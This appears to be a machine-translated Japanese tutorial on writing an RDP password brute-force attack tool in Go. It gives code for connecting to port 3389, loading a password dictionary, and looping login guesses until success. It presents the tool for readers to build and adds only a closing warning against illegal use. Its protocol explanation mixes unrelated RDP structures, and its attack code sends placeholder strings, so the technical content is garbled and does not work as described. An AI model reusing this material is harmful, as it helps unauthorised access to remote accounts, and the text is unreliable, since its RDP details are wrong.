ホームページ >バックエンド開発 >Golang >golang は rdp ブラストを実装します

golang は rdp ブラストを実装します

PHPz
PHPzオリジナル
2023-05-14 16:08:381124ブラウズ

ネットワーク セキュリティの分野では、ブラストはターゲット アカウントのパスワード強度をテストするための手法です。サイバー攻撃者にとって、ブルート フォース ブルート フォースは、システムに不正にアクセスするためにターゲット アカウントのパスワードを推測することを目的とした一般的な攻撃方法です。このプロセスには多くの計算と時間が必要となることが多いため、多くのハッカーは通常、プログラミング言語を使用して攻撃ツールを実装し、爆破プロセスを簡素化および高速化することを選択します。

この記事では、Go を使用して RDP ブラスト攻撃ツールを作成する方法を説明します。主に次の点が含まれます。

  1. RDP プロトコルの調査
  2. TCP 接続と実装メッセージ送信
  3. パスワード辞書リストの読み取りを実施
  4. #爆破攻撃を実施
  5. #RDPプロトコルの検討
  6. #リモート デスクトップ プロトコル (RDP) は、リモート デスクトップ プロトコルです。 Windows オペレーティング システムのネットワーク プロトコルを管理します。これにより、ローカル コンピュータ上のユーザーがネットワーク経由でリモート コンピュータに接続し、リモート コンピュータのデスクトップ セッションにアクセスして制御できるようになります。 RDP はリモート サポートやリモート デスクトップ アクセスに広く使用されていますが、ハッカーが Windows オペレーティング システムを狙う攻撃対象領域ともなります。
RDP ブラスト ツールを作成する前に、RDP プロトコルの構造とデータ送信方法を深く理解する必要があります。 RDP プロトコルは、基本プロトコルと拡張プロトコルに分かれています。基本プロトコルでは、クライアントとサーバーは TCP 接続を使用して通信します。拡張プロトコルでは、仮想チャネルまたはセキュア チャネルを使用して複数のデータ ストリームを送信し、グラフィックス、オーディオ、その他の高度な機能をサポートします。

次のセクションでは、Golang を使用して RDP 基本プロトコルの接続とメッセージ送信を実装する方法に焦点を当てます。

TCP 接続とメッセージ送信の実装

  1. Golang を使用して TCP 接続を確立するのは非常に簡単です。 Go は、ソケットと I/O を処理するための net パッケージを提供します。まず、
  2. net.Dial()
関数を使用して、RDP サーバーとの TCP 接続を確立する必要があります。サンプル コード スニペットを次に示します。

conn, err := net.Dial("tcp", "rdp.example.com:3389")
if err != nil {
    // 处理错误信息
}
RDP プロトコルのメッセージ形式を理解する必要もあります。 RDP メッセージは、ASN.1 標準に基づいたデータ構造です。通常、これらは RDP プロトコル ヘッダー、Microsoft RDPDR および MS TPKT プロトコル ヘッダーで構成されます。 RDP メッセージを構築するときは、メッセージ ヘッダーを次のように設定する必要があります。
buf := new(bytes.Buffer)

// RDP 协议头
rdpHeader := RdpHeader{
    Type:        PDUTYPE_DATAPDU | PDUTYPE2_VALID | 0x10,
    Length:      uint16(len(data)),
    SubType:     1,
    Compressed:  0,
    Authentication: 0,
}
// 写入 RDP 协议头
err = binary.Write(buf, binary.BigEndian, &rdpHeader)
if err != nil {
    // 处理错误信息
}

// Microsoft RDPDR 协议头
rdpdrHeader := RdpdrHeader{
    Component:   RDPDR_CTYP_CORE,
    PacketType:  RDPDR_TYPE_REQUEST,
    PacketId:    uint32(packetId),
    DataLength:  uint32(len(data)),
    ExtraData:   0,
    Status:      STATUS_SUCCESS,
}
// 写入 RDPDR 协议头
err = binary.Write(buf, binary.LittleEndian, &rdpdrHeader)
if err != nil {
    // 处理错误信息
}

// 写入数据
err = binary.Write(buf, binary.LittleEndian, data)
if err != nil {
    // 处理错误信息
}

// 发送数据到 RDP 服务器
_, err = conn.Write(buf.Bytes())
if err != nil {
    // 处理错误信息
}

上記のコードでは、最初に RDP プロトコル ヘッダーと Microsoft RDPDR プロトコル ヘッダーを作成します。次に、メッセージ データがパックされ、新しいバイト バッファ

buf

に書き込まれます。最後に、バッファ内のデータは、

net.Dial() を通じて確立された TCP 接続に書き込まれます。 パスワード辞書リストの読み取りを実装する

  1. RDP ブラスト攻撃では、パスワード辞書は攻撃プロセスの最も重要な部分です。通常、パスワード辞書には、対象ユーザーのパスワードに関連する単語と文字の組み合わせが含まれています。したがって、攻撃中にこれらのパスワード辞書を使用するには、ファイルからこれらのパスワード辞書を読み取る必要があります。
Go では、ファイル操作は非常に簡単です。ファイルは

os.Open()

関数を使用して開き、

bufio.NewReader() 関数を使用してバッファに追加できるため、次のようにファイル行のデータを読み取ることができます。ライン 。サンプル コードは次のとおりです。

func readPasswords(passwordList string) ([]string, error) {
    passwords := []string{}

    file, err := os.Open(passwordList)
    if err != nil {
        return passwords, err
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        passwords = append(passwords, scanner.Text())
    }

    if err := scanner.Err(); err != nil {
        return passwords, err
    }

    return passwords, nil
}
上記のコードでは、まずパスワード辞書ファイルを開き、bufio

パッケージを使用してバッファに追加します。次に、

bufio.Scanner() 関数を使用して、ファイル内のすべてのデータを 1 行ずつ読み取り、それを passwords リストに追加します。最終的に、この関数はパスワードと考えられるエラーのリストを返します。 ブラスト攻撃の実装

  1. パスワード辞書と RDP メッセージ送信コードを使用して、RDP ブラスト攻撃プログラムの構築を開始できます。このプログラムでは、パスワード辞書を反復処理し、考えられるパスワードをそれぞれ推測するループが必要です。
サンプル コードは次のとおりです:

func rdpBruteForce(conn net.Conn, user string, passwordList []string) error {
    for _, password := range passwordList {
        _, err := conn.Write([]byte("some rdp message with password " + password))
        if err != nil {
            return err
        }

        // 检查是否成功找到密码
        response := make([]byte, 1024)
        _, err = conn.Read(response)
        if err != nil {
            return err
        }

        if bytes.Contains(response, []byte("successfully authenticated")) {
            fmt.Printf("Password found: %s", password)
            return nil
        }
    }

    return fmt.Errorf("Password not found in the list")
}

上記のコードでは、パスワード ディクショナリを反復し、

conn.Write()

関数を使用して、次のコードに含まれるパスワードを送信します。辞書を RDP サーバーに送信し、現在のパスワードのメッセージを送信します。次に、

conn.Read() 関数を使用して、サーバーから応答メッセージを受信します。メッセージに「認証に成功しました」という文字列が含まれている場合は、正しいパスワードが見つかったことを意味し、プログラムはパスワードを出力してループを終了します。パスワード辞書が正常に反復処理されてもパスワードが見つからない場合は、エラー メッセージが出力されます。 最後に、RDP 接続を実装し、次の関数を呼び出して攻撃する必要があります:

func startRdpBruteForce(ip string, user string, passwordList string) error {
    conn, err := net.Dial("tcp", ip+":3389")
    if err != nil {
        return err
    }   
    // 发送所有 RDP 初始化消息
    _, err = conn.Write([]byte("some rdp initialization messages"))
    if err != nil {
        return err
    }

    passwords, err := readPasswords(passwordList)
    if err != nil {
        return err
    }

    err = rdpBruteForce(conn, user, passwords)
    if err != nil {
        return err
    }

    return nil
}

この関数では、最初に TCP 接続を確立し、RDP 初期化メッセージを送信します。次に、

readPasswords()

関数を使用してパスワード辞書ファイルを読み取ります。最後に、

rdpBruteForce() 関数を呼び出し、conn とパスワード リストを引数として渡します。 概要

この記事では、Go を使用して RDP ブラスト攻撃ツールを作成する方法を紹介します。 Go を使用して TCP 接続を確立し、RDP メッセージを送信する方法と、パスワード辞書ファイルを 1 行ずつ読み取る方法を学びました。また、応答データをインターセプトして認証が成功したかどうかを調べ、正しいパスワードが見つかったことを確認するコードも作成しました。この記事では、独自の RDP ブラスト ツールを学習して作成するために必要な知識とスキルを提供します。ただし、この攻撃方法は非常に危険かつ違法であるため、違法な目的には使用しないでください。

以上がgolang は rdp ブラストを実装しますの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。